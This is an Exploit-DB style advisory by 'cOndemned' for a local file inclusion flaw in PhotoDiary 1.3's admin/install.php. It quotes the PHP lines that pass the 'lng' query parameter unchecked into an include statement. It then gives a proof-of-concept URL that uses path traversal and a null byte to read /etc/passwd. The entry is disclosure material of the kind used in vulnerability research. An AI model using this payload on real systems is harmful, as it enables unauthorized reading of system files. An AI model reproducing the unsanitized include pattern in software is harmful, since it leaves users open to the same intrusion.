PhotoDiary 1.3 - 'lng' Local File Inclusion

Author: cOndemned
type: webapps
platform: php
port: 
date_added: 2009-12-30 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphotodiary_v13.zip

PhotoDiary 1.3 (lng) Local File Inclusion Vulnerability
Discovered by cOndemned

download: http://code.google.com/p/photodiary/


source of /admin/install.php (lines 9 - 15):

	if (isset($_GET['lng'])){
		$LNG = $_GET['lng'];			# 1
	} else {
		$LNG = "ITA";
	}

	include "../common/language_".$LNG.".php";	# 2


proof of concept:

	http://[target_host]/admin/install.php?lng=/../../../../../../etc/passwd%00